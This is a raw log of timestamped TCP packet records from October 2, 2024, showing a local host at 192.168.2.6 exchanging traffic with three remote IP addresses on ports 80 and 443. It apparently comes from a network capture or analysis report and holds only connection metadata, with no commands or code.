Oct 2, 2024 17:17:20.886398077 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:20.886739016 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.886823893 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:20.886830091 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.886851072 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.886878967 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:20.886985064 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:20.895750999 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:20.895750999 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:20.895786047 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.895796061 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:20.911601067 CEST	65278	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:20.911654949 CEST	443	65278	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:20.911725044 CEST	65278	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:20.913264036 CEST	65278	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:20.913292885 CEST	443	65278	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:21.176033020 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.181185007 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373034954 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373053074 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373063087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373095989 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.373127937 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373136044 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.373143911 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373155117 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373181105 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.373213053 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.373580933 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373591900 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373603106 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373615980 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.373646021 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.373662949 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373673916 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373684883 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373693943 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.373697042 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.373728037 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.374268055 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.374278069 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.374305010 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.374322891 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.456037998 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.456104040 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.456120968 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.456131935 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.456154108 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.456185102 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.456521034 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.456532001 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.456566095 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.456768036 CEST	443	65278	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:21.456834078 CEST	65278	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:21.457048893 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.458373070 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.458631039 CEST	65278	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:21.458641052 CEST	443	65278	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:21.458868980 CEST	443	65278	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:21.460656881 CEST	65278	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:21.460710049 CEST	65278	443	192.168.2.6	104.21.16.12
Oct 2, 2024 17:17:21.460731983 CEST	443	65278	104.21.16.12	192.168.2.6
Oct 2, 2024 17:17:21.462585926 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.462596893 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.462606907 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.462650061 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.462682962 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.462835073 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.462846041 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.462856054 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.462872982 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.462902069 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.462980986 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.462991953 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.463001966 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.463012934 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.463023901 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.463028908 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.463033915 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.463041067 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.463063955 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.463092089 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.465778112 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.465830088 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.465867043 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.465900898 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.465998888 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.466010094 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.466021061 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.466032982 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.466034889 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.466048002 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.466068983 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.466857910 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.466869116 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.466880083 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.466897964 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.466918945 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.467233896 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.467243910 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.467255116 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.467292070 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.467320919 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.544267893 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.544281006 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.544326067 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.544363976 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.544495106 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.544531107 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.544600964 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.544611931 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.544622898 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.544631004 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.544634104 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.544646025 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.544653893 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.544656992 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.544689894 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.545725107 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.545734882 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.545744896 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.545762062 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.545800924 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.550556898 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550606966 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550614119 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.550616026 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550643921 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.550663948 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.550739050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550750017 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550760984 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550774097 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550786018 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.550837040 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.550858974 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550870895 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550882101 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550892115 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550894022 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.550903082 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550914049 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550925016 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550925970 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.550934076 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550945044 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550955057 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.550966024 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.550981998 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551000118 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551039934 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551050901 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551060915 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551070929 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551075935 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551083088 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551094055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551122904 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551486015 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551496983 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551506996 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551523924 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551531076 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551533937 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551548004 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551558018 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551558018 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551574945 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551595926 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551610947 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551621914 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551632881 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551645041 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551651001 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551666975 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551685095 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551691055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551691055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551696062 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551718950 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551728964 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551729918 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551758051 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.551974058 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.551989079 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.552000046 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.552010059 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.552014112 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.552021027 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.552031040 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.552042961 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.552050114 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.552081108 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.623450041 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.623475075 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.623483896 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.623495102 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.623543978 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.623580933 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.623727083 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.623739004 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.623749018 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.623779058 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.623790026 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.623931885 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.623955011 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.623966932 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.623991966 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624001980 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624011993 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624018908 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624022007 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624054909 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624064922 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624073982 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624077082 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624104977 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624237061 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624248981 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624277115 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624284029 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624295950 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624301910 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624321938 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624330997 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624342918 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624352932 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624378920 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624388933 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624504089 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624515057 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624546051 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624574900 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624581099 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624592066 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624602079 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624612093 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.624628067 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.624660015 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.629046917 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629057884 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629067898 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629107952 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.629148006 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.629188061 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629199028 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629209042 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629235029 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.629265070 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.629461050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629471064 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629482031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629492998 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629499912 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.629503012 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629517078 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629518986 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.629528046 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629553080 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.629565954 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.629566908 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629580021 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629601002 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.629616976 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.629672050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629682064 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629729033 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.629903078 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629913092 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629924059 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.629941940 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.629956961 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630004883 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630013943 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630024910 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630034924 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630044937 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630045891 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630058050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630067110 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630075932 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630095959 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630130053 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630141020 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630151033 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630162001 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630172968 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630199909 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630213976 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630223036 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630251884 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630356073 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630367041 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630388021 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630388975 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630413055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630434990 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630450010 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630490065 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630506039 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630516052 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630537987 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630552053 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630574942 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630609035 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630620003 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630652905 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630657911 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630669117 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630688906 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630714893 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630853891 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630863905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630876064 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630892038 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630894899 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630903006 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.630922079 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.630938053 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.631088972 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.631098032 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.631133080 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.632910967 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.632920980 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.632937908 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.632949114 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.632966042 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.632962942 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.632980108 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.632997036 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.632997036 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:21.632997990 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:21.633013010 CEST	80	65273	46.8.231.109	192.168.2.6
